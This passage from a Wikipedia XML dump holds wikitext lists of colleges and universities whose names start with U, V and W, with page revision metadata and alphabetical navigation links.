#[[University of Chester]]
#[[University of Chicago]]
#[[Universidad de Chile]]
#[[Universidad Científica del Sur]]
#[[University of Cincinnati]]
#[[Universite Claude Bernard Lyon I]]
#[[Universidade de Coimbra]]
#[[Universidad de Colima]]
#[[University College Cork]]
#[[University College Dublin]]
#[[University College, Durham|University College]], [[University of Durham]]
#[[National University of Ireland, Galway|University College Galway]]
#[[University College London]]
#[[University College Salford]]
#[[University College of Arts, Crafts and Design]] ([[Stockholm]], [[Sweden]])
#[[University College of Borås]]
#[[University College of Cape Breton]]
#[[University College of Dalarna]]
#[[University College of Dance]] ([[Stockholm]], [[Sweden]])
#[[University College of Film, Radio, Television and Theatre]] ([[Stockholm]], [[Sweden]])
#[[University College of Gotland]]
#[[University College of Gävle]]
#[[University College of Halmstad]]
#[[University College of Jönköping]]
#[[University College of Kalmar]]
#[[University College of Kristianstad]]
#[[University College of Mälardalen]]
#[[University College of Malmö]]
#[[University College of Music Education]] ([[Stockholm]], [[Sweden]])
#[[University College of Opera]] ([[Stockholm]], [[Sweden]])
#[[University College of Skövde]]
#[[University College of the Fraser Valley]]
#[[University College of Trollhättan/Uddevalla]]
#[[University of Colombo]]
#[[University of Cologne]]
#[[University of Colorado at Denver]]
#[[University of Colorado at Boulder]]
#[[University of Colorado, Colorado Springs]]
#[[Universita Commerciale Luigi Bocconi]]
#[[Universidad Complutense de Madrid]]
#[[Universidad de Concepción]]
#[[University of Connecticut]]
#[[University of Copenhagen]]
#[[Universidad de Cordoba]]
#[[Universidade da Coruna]]
#[[Universidad de Costa Rica]]
#[[University of Craiova]]
#[[University of Crete]]
#[[University of Cyprus]]

=== D ===
#[[University of Dallas]]
#[[University of Dayton]]
#[[University of Delaware]]
#[[University of Delhi]]
#[[University of Denver]]
#[[University of Derby]]
#[[University of Detroit Mercy]]
#[[University of Dhaka]]
#[[Universidad Diego Portales]]
#[[University of the District of Columbia]]
#[[Universidad Distrital Francisco Jose de Caldas]]
#[[University of Dublin]]
#[[University of Dubuque]]
#[[University of Durban-Westville]]
#[[University of Durham]]

=== E ===
#[[Universidad EAFIT]]
#[[Universidade de Evora]]
#[[University of East Anglia]]
#[[University of East London]]
#[[University of the East, Caloocan Campus]]
#[[University of Economics, Prague]]
#[[University of Economics, Vienna]]
#[[University of Edinburgh]]
#[[University of Education Hradec Kralove]]
#[[University of Electro-Communications]]
#[[University of Electronic Science and Technology of China]]
#[[Universitat Erlangen-Nurnberg ]]
#[[University of Essex]]
#[[University of Evansville]]
#[[University of Exeter]]


#[[Universidade Estacio de Sa]]
#[[University of Evansville]]
#[[Universidade do Estado do Rio de Janeiro]]
#[[Universidade Estadual Paulista]]
#[[Universidade Estadual de Campinas| UNICAMP]]
#[[Universidade Estadual do Norte Fluminense]]
#[[Universidade Gama Filho]]
#[[Universidade Rural de Pernambuco]]

=== F ===
#[[University of Falun/Borlange]]
#[[University of the Faroe Islands]]
#[[Universidade Federal de Alagoas]]
#[[Universidade Federal da Bahia]]
#[[Universidade Federal Fluminense]]
#[[Universidade Federal de Juiz de Fora]]
#[[Universidade Federal de Minas Gerais]]
#[[Universidade Federal de Ouro Preto]]
#[[Universidade Federal de Pernambuco]]
#[[Universidade Federal de São Paulo]]
#[[Universidade Federal de São Carlos]]
#[[Universidade Federal de Santa Catarina]]
#[[Universidade Federal de Santa Maria]]
#[[Universidade Federal de Uberlândia]]
#[[Universidade Federal de Vicosa]]
#[[Universidade Federal do Ceará]]
#[[Universidade Federal do Paraná]]
#[[Universidade Federal do Rio Grande do Norte]]
#[[Universidade Federal do Rio Grande do Sul]]
#[[Universidade Federal do Rio de Janeiro]]
#[[Universidade Federal do Espírito Santo]]
#[[Universidade Federal do Amazonas]]
#[[Universidade Federal do Pará]]
#[[Universidade Federal do Acre]]
#[[Universidade Federal do Maranhão]]
#[[Universidade Federal do Piauí]]
#[[Universidade Federal da Paraíba]]
#[[Universidade Federal de Sergipe]]
#[[Universidade Federal de Goiás]]
#[[Universidade Federal do Mato Grosso]]
#[[Universidade Federal do Mato Grosso do Sul]]
#[[Universidade Federal de Tocantins]]
#[[Universidade Federal Rural do Rio de Janeiro]]
#[[Universidade do Vale do Acarau]]
#[[University of Findlay]]
#[[University of Florida]]
#[[Universidade de Fortaleza]]
#[[University of Fort Hare]]
#[[Universidade Estadual de Ponta Grossa]]
#[[Universidade Estadual de Maringá]]
#[[Universidade Estadual de Londrina]]
#[[Universite de Franche-Comte]]
#[[Universite de Fribourg]]

=== G ===
#[[Uniwersytetu Gdanskiego]]
#[[Universitat Goettingen]]
#[[Universita G.d'Annunzio]]
#[[Universitat-GH Paderborn]]
#[[University of Galati]]
#[[University of Gazi Antep]]
#[[University of Geneva]]
#[[University of Georgia]]
#[[Universitat Gesamthochschule Essen]]
#[[Universitat Gesamthochschule Kassel]]
#[[University of Ghent]]
#[[Universitat Giessen]]
#[[Universitat de Girona]]
#[[University of Glamorgan]]
#[[University of Glasgow]]
#[[Universidad de Granada ]]
#[[University of Greenland]]
#[[University of Greenwich]]
#[[University of Groningen]]
#[[Universidad de Guadalajara]]
#[[University of Guam]]
#[[Universidad de Guanajuato]]
#[[University of Guelph]]
#[[University of Guelph-Humber]]

=== H ===
#[[University of Haifa]]
#[[Universität Hamburg]]
#[[Universität Hannover]]
#[[University of Hartford]]
#[[University of Havana]]
#[[University of Hawaii at Hilo]]
#[[University of Hawaii]]
#[[University of Hawaii, West Oahu]]
#[[Universitat Heidelberg]]
#[[University of Helsinki]]
#[[University of Hertfordshire]]
#[[Universität Hildesheim]]
#[[Universitat, Hohenheim]]
#[[University of Hokkaido]]
#[[University of Hong Kong]]
#[[University of Houston]]
#[[University of Houston-Clear Lake]]
#[[University of Houston-Downtown]]
#[[University of Houston-Victoria]]
#[[University of Huddersfield]]
#[[University of Hull]]

=== I ===
#[[University of Iceland]]
#[[University of Idaho]]
#[[Universitat de les Illes Balears]]
#[[University of Illinois at Chicago]]
#[[University of Illinois at Springfield]]
#[[University of Illinois at Urbana-Champaign]]
#[[University of Indianapolis]]
#[[University of Indonesia]]
#[[University of Innsbruck]]
#[[University Institute of Architecture]]
#[[University of International Business and Economics]]
#[[University of Ioannina]]
#[[University of Iowa]]
#[[University of Isfahan]]

=== J ===
#[[Universitat Jaume I de Castello]]
#[[University of Joensuu]]
#[[University of Jordan]]
#[[Universite Joseph Fourier]]
#[[University of Jyväskylä]]

=== K ===
#[[University of Kaiserslautern]]
#[[University of Kansas]]
#[[University of Kansas Medical Center]]
#[[University of Karlskrona/Ronneby]]
#[[University of Karlsruhe|Universität Karlsruhe]]
#[[University of Karlstad]]
#[[Universiti Kebangsaan Malaysia]]
#[[University of Kent]]
#[[University of Kentucky]]
#[[University of Khartoum]]
#[[University of King's College]]
#[[University of Klagenfurt]]
#[[University of Koblenz and Landau]]
#[[University of Konstanz]]
#[[University of Kristianstad]]
#[[University of Kuopio]]
#[[University of KwaZulu-Natal]]
#[[University of Kyoto]]

=== L ===
#[[Universitat Luneburg]]
#[[Universidad de La Frontera]]
#[[Universidad de La Laguna]]
#[[University of Lapland]]
#[[Universidad La Salle]]
#[[Universidad de La Salle - Santafe de Bogota]]
#[[Universidad Latina]]
#[[Universidad Latina de Costa Rica]]
#[[University of Latvia]]
#[[Universite de Lausanne]]
#[[Université Laval]]
#[[University of La Verne]]
#[[University of Leeds]]
#[[University of Leicester]]
#[[Universitat Leipzig]]
#[[University of Lethbridge]]
#[[University of Library and Information Science]]
#[[Université Libre de Bruxelles]]
#[[University of Lima]]
#[[University of Limerick]]
#[[Universidade de Lisboa]]
#[[University of Liverpool]]
#[[University of Liège]]
#[[University of Ljubljana]]
#[[Universitat de Lleida]]
#[[University of London]]
#[[Universidad de Los Andes (ULA)]]
#[[University of Louisiana System]]
#[[University of Louisiana at Monroe]]
#[[University of Louisiana at Lafayette]]
#[[University of Louisville]]
#[[Universite Lumiere Lyon]]
#[[University of Luton]]

=== M ===
#[[Universidad de Malaga]]
#[[Universidade de Marilia]]
#[[Universite de la Mediterranee]]
#[[University of Macau]]
#[[University of Macedonia]] ([[Macedonia (Greece)|Macedonia]], [[Greece]])
#[[Universidade da Madeira]]
#[[University of Madras]]
#[[University of Mashhad]]
#[[University of Maine]]
#[[University of Maine System]]
#[[University of Maine at Farmington]]
#[[University of Maine at Fort Kent]]
#[[University of Maine at Presque Isle]]
#[[Universiteit Maastricht]] ([[Maastricht]], [[The Netherlands]])
#[[University of Malaya]]
#[[University Malaysia Sarawak]]
#[[Universiti Malaysia Sarawak ]]
#[[University of Malta]]
#[[University of Manchester]]
#[[University of Manchester Institute of Science and Technology]]
#[[University of Manitoba]]
#[[Universitat Mannheim]]
#[[University of Marburg]]
#[[University of Maribor]]
#[[Universite de Marne la Vallee]]
#[[University of Mary Hardin-Baylor]]
#[[University System of Maryland]]
#[[University of Maryland, Baltimore]]
#[[University of Maryland Baltimore County]]
#[[University of Maryland, College Park]]
#[[University of Maryland University College]]
#[[University of Massachusetts|University of Massachusetts (system)]]
#[[University of Massachusetts, Amherst]]
#[[University of Massachusetts, Boston]]
#[[University of Massachusetts Dartmouth|University of Massachusetts, Dartmouth]]
#[[University of Massachusetts, Lowell]]
#[[University of Massachusetts, Worcester]]
#[[University Medical School of Debrecen]]
#[[University of Medicine and Dentistry of New Jersey]]
#[[University of Melbourne]] ([[Melbourne, Australia]])
#[[University of Memphis]]
#[[Universidad Metropolitana]]
#[[University of Miami]]
#[[Universite Michel de Montaigne - Bordeaux 3]]
#[[University of Michigan]] ([[Ann Arbor, Michigan]], main campus)
#[[University of Michigan-Flint]]
#[[University of Michigan-Dearborn]]
#[[Universidad Michoacana]]
#[[Universidad Miguel Hernandez]]
#[[Universidade do Minho]]
#[[University of Minnesota system]]
#[[University of Minnesota, Crookston]]
#[[University of Minnesota, Duluth]]
#[[University of Minnesota Morris|University of Minnesota, Morris]]
#[[University of Minnesota Twin Cities|University of Minnesota, Twin Cities]]
#[[University of Miskolc]]
#[[University of Mississippi]]
#[[University of Missouri - St. Louis]]
#[[University of Missouri - Columbia]]
#[[University of Missouri - Kansas City]]
#[[University of Missouri - Rolla]]
#[[University of Modena]]
#[[Université de Moncton]]
#[[University of Montana]]
#[[Université de Montréal]]
#[[University of Moratuwa]]
#[[University of Mumbai]]
#[[Universidad de Murcia]]
#[[University of Mysore]]

=== N ===
#[[Universidad Nacional]]
#[[Universidad Nacional Autonoma de Mexico]]
#[[Universidad Nacional de Córdoba]]
#[[Universidad Nacional de Cuyo]]
#[[Universidad Nacional de Educacion a Distancia]]
#[[Universidad Nacional Federico Villarreal]]
#[[Universidad Nacional Jorge Basadre Grohmann]]
#[[Universidad Nacional de La Plata]]
#[[Universidad Nacional del Litoral]]
#[[Universidad Nacional Mayor de San Marcos]]
#[[Universidad Nacional del Sur]]
#[[Universidad Nacional de Trujillo]]
#[[University of Namur]]
#[[Universite Nancy 2]]
#[[University of Natal]]
#[[University of Natal (Durban)]]
#[[University of Natal, Pietermaritzburg]]
#[[University of the Nations]]
#[[Universidad de Navarra]]
#[[University of Nebraska at Kearney]]
#[[University of Nebraska, Lincoln]]
#[[University of Nebraska, Omaha]]
#[[University of Neuchatel]]
#[[University of Nevada System]]
#[[University of Nevada, Las Vegas]]
#[[University of Nevada, Reno]]
#[[University of New Brunswick]]
#[[University of New Brunswick, Saint John]]
#[[University of New England, Maine|University of New England]] ([[Maine]], [[United States|USA]])
#[[University of New England, Australia|University of New England]] ([[Australia]])
#[[University of New Hampshire, Durham]]
#[[University of New Haven]]
#[[University of New Mexico]]
#[[University of New Orleans]]
#[[University of New South Wales]]
#[[University of New Zealand]]
#[[University of Newcastle (NSW)|University of Newcastle]] ([[New South Wales]], [[Australia]])
#[[University of Newcastle upon Tyne]] ([[United Kingdom]])
#[[Universite de Nice - Sophia Antipolis]]
#[[University of Nigeria]]
#[[Universidad del Norte]]
#[[Universidad de Norteamerica]]
#[[University of the North]]
#[[University of North Carolina at Asheville]]
#[[University of North Carolina at Chapel Hill]]
#[[University of North Carolina at Charlotte]]
#[[University of North Carolina at Greensboro]]
#[[University of North Carolina at Pembroke]]
#[[University of North Carolina at Wilmington]]
#[[University of North Carolina System]]
#[[University of North Dakota, Grand Forks]]
#[[University of North Florida]]
#[[University of North London]]
#[[University of North Texas]]
#[[University of North West]]
#[[University of Northern British Columbia]]
#[[University of Northern Colorado]]
#[[University of Northern Iowa]]
#[[University of Northumbria at Newcastle]]
#[[University of Notre Dame]]
#[[University of Notre Dame Australia]]
#[[University of Nottingham]]
#[[Universidade Nova de Lisboa]]
#[[Univerzitet u Novom Sadu]]
#[[Universidad Nueva Esparta]]
#[[Universidad Nuevo Mundo]]

=== O ===
#[[Universitat Oberta de Catalunya]]
#[[University of Oklahoma]]
#[[University of Oldenburg]]
#[[University of the Orange Free State]]
#[[University of Oregon]]
#[[Universite d'Orleans]]
#[[University of Oslo]] ([[Oslo, Norway]])
#[[Universitat Osnabruck]]
#[[University of Ostrava]]
#[[University of Otago]]
#[[University of Ottawa]]
#[[University of Oulu]]
#[[Universidad de Oviedo ]]
#[[University of Oxford]] ([[Oxford, England]])

=== P ===
#[[Universidade Paulista]]
#[[University of Pecs Medical School]]
#[[Universidad Pública de Navarra]]
#[[University of the Pacific]]
#[[Universidad del Pacifico]]
#[[University of Padua]]
#[[University of Paisley]]
#[[Universidad de las Palmas de Gran Canaria ]]
#[[Universidad de Panama]]
#[[Universidad Panamericana Sede Guadalajara ]]
#[[Universidad Panamericana Sede México]]
#[[University of Pardubice]]
#[[Universite Paris 8]]
#[[Universite Paris IX Dauphine]]
#[[University of Parma]]
#[[Universitat Passau]]
#[[Universidade de Passo Fundo]]
#[[University of Patras]]
#[[Universite de Pau et des Pays de l'Adour]]
#[[Universiti Paul Sabatier]]
#[[University of Pavol Jozef Safarik]]
#[[University for Peace]] ([[Ciudad Colon, Costa Rica]])
#[[University of Pennsylvania]] ([[Philadelphia, Pennsylvania]])
#[[University of Pereslavl]]
#[[Universite de Perpignan]]
#[[Universiti Pertanian Malaysia]]
#[[Universidad Peruana de Ciencias Aplicadas]]
#[[University of Petroleum of China]]
#[[University of the Philippines, Diliman]]
#[[University of the Philippines, Los Baños]]
#[[University of the Philippines, Manila]]
#[[University of Phoenix]]
#[[University of Picardie]]
#[[Universite Pierre Mendes France]]
#[[University of Pisa]]
#[[University of Pittsburgh]]
#[[University of Pittsburgh at Bradford]]
#[[University of Pittsburgh at Greensburg]]
#[[University of Pittsburgh at Johnstown]]
#[[University of Plymouth]]
#[[University of Poitiers]]
#[[Universidad Politécnica de Madrid]]
#[[Universitat Politècnica de Catalunya]]
#[[Universitat Politècnica de Valencia]]
#[[Universitat Pompeu Fabra]]
#[[Universidad Pontificia Comillas de Madrid]]
#[[Universidad Pontificia Bolivariana]]
#[[University of Port Elizabeth]]
#[[University of Portland]]
#[[Universidade do Porto]]
#[[University of Portsmouth]]
#[[Universidade Portucalense]]
#[[Universitat Potsdam]]
#[[University of Pretoria]]
#[[University of Prince Edward Island]]
#[[Universite de Provence]]
#[[University of Puerto Rico]]
#[[University of Puget Sound]]

=== Q ===
#[[Université du Québec]]
#[[Université du Québec à Chicoutimi]]
#[[Université du Québec à Montréal]]
#[[Université du Québec à Rimouski]]
#[[Université du Québec à Trois-Rivières]]
#[[Université du Québec en Abitibi-Temiscamingue]]
#[[Université du Québec en Outaouais]]
#[[University of Queensland]]

=== R ===
#[[Universitat Ramon Llull]]
#[[University of Reading]]
#[[University of Redlands]]
#[[Universität Regensburg]]
#[[University of Regina]]
#[[Universidad Regiomontana]]
#[[University of Rennes 1]]
#[[Universidad de la Republica]]
#[[Universidad de la Republica Oriental del Uruguay]]
#[[University of Rhode Island]]
#[[University of Richmond]]
#[[University of Rijeka]]
#[[University of Rochester]] ([[Rochester, Monroe County, New York|Rochester]], [[New York]])
#[[University of Roorkee]]
#[[Universitat Rostock]]
#[[Universitat Rovira i Virgili]]
#[[University of Ruhuna]]
#[[University of the Ryukyus]]

=== S ===
#[[Universidade de São Paulo]]
#[[Universität des Saarlandes]]
#[[Universidad del Sagrado Corazon]]
#[[Universiti Sains Malaysia]]
#[[Université Sainte-Anne]]
#[[University of Salford]]
#[[University of Salzburg]]
#[[University of San Carlos (Cebu)]]
#[[University of San Diego]]
#[[University of San Francisco]]
#[[Universidad San Francisco de Quito]]
#[[Universidad Santa Maria La Antigua]]
#[[Universidad de Santiago de Chile]]
#[[Universidade de Santiago de Compostela]]
#[[University of Santo Tomas]]
#[[University of Saskatchewan]]
#[[Universite de Savoie]]
#[[University of Science and Technology of China]]
#[[Universite des Sciences et Technologies de Lille]]
#[[University of Scranton]]
#[[University of Sheffield]]
#[[University of Sherbrooke]]
#[[Universidad Simón Bolívar (USB)]]
#[[University of Sistan and Baluchestan]] ([[Zahedan]], [[Iran]])
#[[University of Skovde]]
#[[Universidad de Sonora]]
#[[University of South Africa]]
#[[University of South Alabama]]
#[[University of South Australia]]
#[[University of South Carolina Columbia|University of South Carolina]]
#[[University of South Carolina at Aiken]]
#[[University of South Dakota]]
#[[University of South Florida]]
#[[University of the South Pacific]]
#[[University of Southampton]]
#[[University of Southern California]] ([[Los Angeles, California]])
#[[Colorado State University - Pueblo|University of Southern Colorado]]
#[[University of Southern Denmark]]
#[[University of Southern Indiana]]
#[[University of Southern Maine]]
#[[University of Southern Mississippi]]
#[[University of Southern Queensland]]
#[[University of St. Andrews]]
#[[University of St. Gallen]]
#[[University of St. Michael's College]]
#[[University of St. Thomas (Minnesota)|University of St. Thomas, Minnesota]]
#[[University of St. Thomas (Texas)|University of St. Thomas, Texas]]
#[[University of Stellenbosch]]
#[[University of Stirling]]
#[[Università per Stranieri Dante Alighieri Reggio Calabria]]
#[[University of Strathclyde]]
#[[Università degli Studi Federico II di Napoli]]
#[[Università degli Studi Tor Vergata (Roma)]]
#[[Università degli Studi dell'Aquila]]
#[[Universita degli Studi di Bologna|Università degli Studi di Bologna]]
#[[Università degli Studi di Camerino]]
#[[Università degli Studi di Catania]]
#[[Università degli Studi di Chieti G. D'Annunzio]]
#[[Universita degli Studi di Firenze|Università degli Studi di Firenze]]
#[[Università degli Studi di Lecce]]
#[[Università degli Studi di Messina]]
#[[Universita degli Studi di Milano|Università degli Studi di Milano]]
#[[Università degli Studi di Palermo]]
#[[Università degli Studi di Pisa]]
#[[Università degli Studi di Pavia]]
#[[Università degli Studi di Reggio Calabria]]
#[[University of Rome La Sapienza|Università degli Studi di Roma ''La Sapienza'']]
#[[Universita degli Studi di Siena|Università degli Studi di Siena]]
#[[Universita degli Studi di Torino|Università degli Studi di Torino]]
#[[Universita degli Studi di Trieste|Università degli Studi di Trieste]]
#[[Università degli Studi di Udine]]
#[[Università degli Studi di Verona]]
#[[Universität Stuttgart]]
#[[Universidade do Sul de Santa Catarina]]
#[[University of Sudbury]]
#[[University of Sunderland]]
#[[University of Surrey]], [[Guildford]], [[Surrey]], [[United Kingdom]]
#[[University of Sussex]]
#[[Università della Svizzera Italiana]]
#[[University of Sydney]] ([[Sydney, Australia]])

=== T ===
#[[Universidad Técnica Federico Santa María]]
#[[Universidade Tecnica de Lisboa]]
#[[Universitat Tubingen]]
#[[Universidad de Talca]]
#[[University of Tampere]]
#[[Universidad de Tarapacá]]
#[[University of Tartu]]
#[[University of Tasmania]]
#[[Université de Technologie de Compiègne]]
#[[University of Technology, Sydney]]
#[[Universidad Tecnologica Equinoccial]]
#[[Universidad Tecnologica de Mexico]]
#[[Universidad Tecnologica de Panama]]
#[[Universidad Tecnologica de la Mixteca]]
#[[University of Teesside]]
#[[University of Tehran]]
#[[Universiti Teknologi Malaysia]]
#[[University of Tennessee, Chattanooga]]
#[[University of Tennessee, Knoxville]]
#[[University of Tennessee, Martin]]
#[[University of Tennessee, Memphis]]
#[[University of Tetova]]
#[[University of Texas Health Center at Tyler]]
#[[University of Texas Health Science Center, San Antonio]]
#[[University of Texas Medical Branch]]
#[[University of Texas Southwestern Medical Center]]
#[[University of Texas at Arlington]]
#[[University of Texas at Austin]]
#[[University of Texas at Dallas]]
#[[University of Texas at El Paso]]
#[[University of Texas at San Antonio]]
#[[University of Texas-Houston Health Science Center]]
#[[University of Texas-Pan American]]
#[[University of the Thai Chamber of Commerce]]
#[[University of Tirana]] ([[Tirana]], [[Albania]])
#[[University of Tokushima]]
#[[University of Tokyo]]
#[[University of Toledo]]
#[[University of Toronto]] ([[Toronto, Ontario]])
#[[University of Toronto, Scarborough]]
#[[University of Transkei]]
#[[University of Trento]]
#[[Universitat Trier]]
#[[University of Tromsø]]
#[[University of Tsukuba]]
#[[University of Tulsa]]
#[[University of Turku]]
#[[Universiteit Twente ]] ([[Enschede]], [[The Netherlands]])

=== U ===
#[[Universitat Ulm]]
#[[University of Ulster]]
#[[University of Utah]]

=== V ===
#[[University of Vaasa]]
#[[Universitat de Valencia]]
#[[University of Valladolid]]
#[[Universidad del Valle (Colombia)]]
#[[Universidad del Valle (Guatemala)]]
#[[University of Venice]]
#[[Universidad Veracruzana]]
#[[University of Vermont]]
#[[University of Veszprem]]
#[[University of Veterinary Medicine Vienna]]
#[[University of Victoria]]
#[[University of Vienna]]
#[[Universidade de Vigo]]
#[[University of the Virgin Islands]]
#[[University of Virginia]]

=== W ===
#[[University of Waikato]]
#[[University of Wales, Aberystwyth]]
#[[University of Wales College of Medicine]]
#[[University of Wales, Lampeter]]
#[[University of Wales, Bangor]]
#University of Wales, Cardiff (See [[Cardiff University]])
#[[University of Wales, Swansea]]
#[[University of Warwick]]
#[[University of Washington]] ([[Seattle, Washington]])
#[[University of Waterloo]] ([[Waterloo, Ontario]])
#[[University of West Alabama]]
#[[University of West Bohemia]]
#[[University of West Florida]]
#[[University of West Georgia]]
#[[University of the West Indies, Mona]]
#[[University of the West Indies, St. Augustine]]
#[[University of the West of England]]
#[[University of Western Australia]]
#[[University of the Western Cape]]
#[[University of Western Ontario]] ([[London, Ontario]])
#[[University of Western Sydney]]
#[[University of Western Sydney, Hawkesbury]]
#[[University of Western Sydney, Macarthur]]
#[[University of Western Sydney, Nepean]]
#[[University of Westminster]]
#[[University of Windsor]] ([[Windsor, Ontario]])
#[[University of Winnipeg]]
#[[University of Wisconsin System]]
#[[University of Wisconsin-Eau Claire]]
#[[University of Wisconsin-Green Bay]]
#[[University of Wisconsin-La Crosse]]
#[[University of Wisconsin-Madison]]
#[[University of Wisconsin-Milwaukee]]
#[[University of Wisconsin-Oshkosh]]
#[[University of Wisconsin-Parkside]]
#[[University of Wisconsin-Platteville]]
#[[University of Wisconsin-River Falls]]
#[[University of Wisconsin-Stevens Point]]
#[[University of Wisconsin-Stout]]
#[[University of Wisconsin-Superior]]
#[[University of Wisconsin-Whitewater]]
#[[University of the Witwatersrand]]
#[[University of Wollongong]]
#[[University of Wolverhampton]]
#[[University of Wyoming]]

=== Y ===
#[[University of York]]

=== Z ===
#[[Universidad de Zaragoza]]
#[[University of Zurich]]
#[[University of Zagreb]]
#[[University of Zambia]]
#[[Universidad del Zulia]]
#[[University of Zululand]]




:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|U]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with V</title>
    <id>6495</id>
    <revision>
      <id>37627525</id>
      <timestamp>2006-02-01T03:54:02Z</timestamp>
      <contributor>
        <username>Kunalthakar</username>
        <id>158028</id>
      </contributor>
      <comment>Added Vishwakarma Institute of Technology</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- '''V''' -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Växjö University]]
#[[Valdosta State University]]
#[[Valencia Community College]]
#[[Valley City State University]]
#[[Valparaiso University]]
#[[Vanier College]]
#[[Van Nung Institute of Technology]]
#[[VanNumg Junior College]]
#[[Vanderbilt University]]
#[[Vanguard University Of Southern California]]
#[[Van Mildert College]], [[University of Durham]]
#[[Vasavi College of Engineering]]
#[[Vassar College]]
#[[Veermata Jijabai Technical Institute]]
#[[Vellore Engineering College]]
#[[Vermont Law School]]
#[[Vermont Technical College]]
#[[Vernon Regional Junior College]]
#[[Vesalius College (Vrije Universiteit Brussel)]]
#[[Vestfold College]]
#[[Victoria Jubilee Technical Institute]]
#[[Victoria School]]
#[[Victoria University of Manchester]]
#[[Victoria University of Technology]]
#[[Victoria University of Wellington]]
#[[Vienna University of Technology]]
#[[Villa Julie College]]
#[[Villanova University]]
#[[Vilnius Technical University]]
#[[Vilnius University]]
#[[Vincennes University]]
#[[Virginia Commonwealth University]]
#[[Virginia Military Institute]]
#[[Virginia Tech]]
#[[Virginia Wesleyan College]]
#[[Virtual Online University]]
#[[Vishwakarma Institute of Technology]]
#[[Vista University]]
#[[Visvesvaraya Regional College of Engineering]]
#[[Vivekanand Education Society's Institute of Technology (VESIT)]]
#[[Volda College]]
#[[Voorhees College]]
#[[Vrije Universiteit Amsterdam]] ([[Amsterdam]], [[The Netherlands]])
#[[Vrije Universiteit Brussel]] ([[Brussel]], [[Belgium]])

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|V]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with W</title>
    <id>6496</id>
    <revision>
      <id>37122394</id>
      <timestamp>2006-01-28T21:14:50Z</timestamp>
      <contributor>
        <username>J. Nguyen</username>
        <id>357640</id>
      </contributor>
      <minor />
      <comment>typo on a name</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- '''W''' -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[WHU Koblenz School of Corporate Management]]
#[[Wabash College]] ([[Crawfordsville, Indiana]])
#[[Wageningen University]] ([[Wageningen]], [[The Netherlands]])
#[[Wagner College]]
#[[Waikato Polytechnic]]
#[[University of Waikato|Waikato University]]
#[[Wakayama University]]
#[[Wake Forest University]]
#[[Wakkanai Hokusei Gakuen Junior College]]
#[[Walden University]]
#[[Walla Walla College]]
#[[Warner Pacific College]]
#[[Warren Wilson College]]
#[[Warsaw School of Economics]]
#[[Warsaw University]]
#[[Warsaw University of Technology]]
#[[University of Warwick|Warwick University]]
#[[Waseda University]]
#[[Washburn University]]
#[[Washington and Lee University]]
#[[Washington Bible College and Capital Bible Seminary]]
#[[Washington College]]
#[[Washington State University]]
#[[Washington University in St. Louis]]
#[[Washtenaw Community College]]
#[[Waterford Regional Technical College]]
#[[Waubonsee Community College]]
#[[Wayne State University]]
#[[Waynesburg College]]
#[[Weber State University]]
#[[Webster University]]
#[[Weizmann Institute of Science]]
#[[Wellesley College]]
#[[Wells College]]
#[[Wentworth Institute of Technology]]
#[[Wesley College, Auckland]]
#[[Wesley College, Colombo]] ([[Sri Lanka]])
#[[Wesley College, Delaware]]
#[[Wesley College, Dublin]] ([[Ireland]])
#[[Wesley College, Melbourne]] ([[Victoria (Australia)|Victoria]] State, [[Australia]])
#[[Wesley College, Winnipeg]] (Province of [[Manitoba]], [[Canada]])
#[[Wesleyan University]]
#[[West Bengal National University of Juridical Sciences]]
#[[West Chester University of Pennsylvania]]
#[[West Coast University]]
#[[West Georgia College]]
#[[West Liberty State College]]
#[[West Texas AandM University]]
#[[West University of Timisoara]]
#[[West Valley College]]
#[[West Virginia State College]]
#[[West Virginia University]]
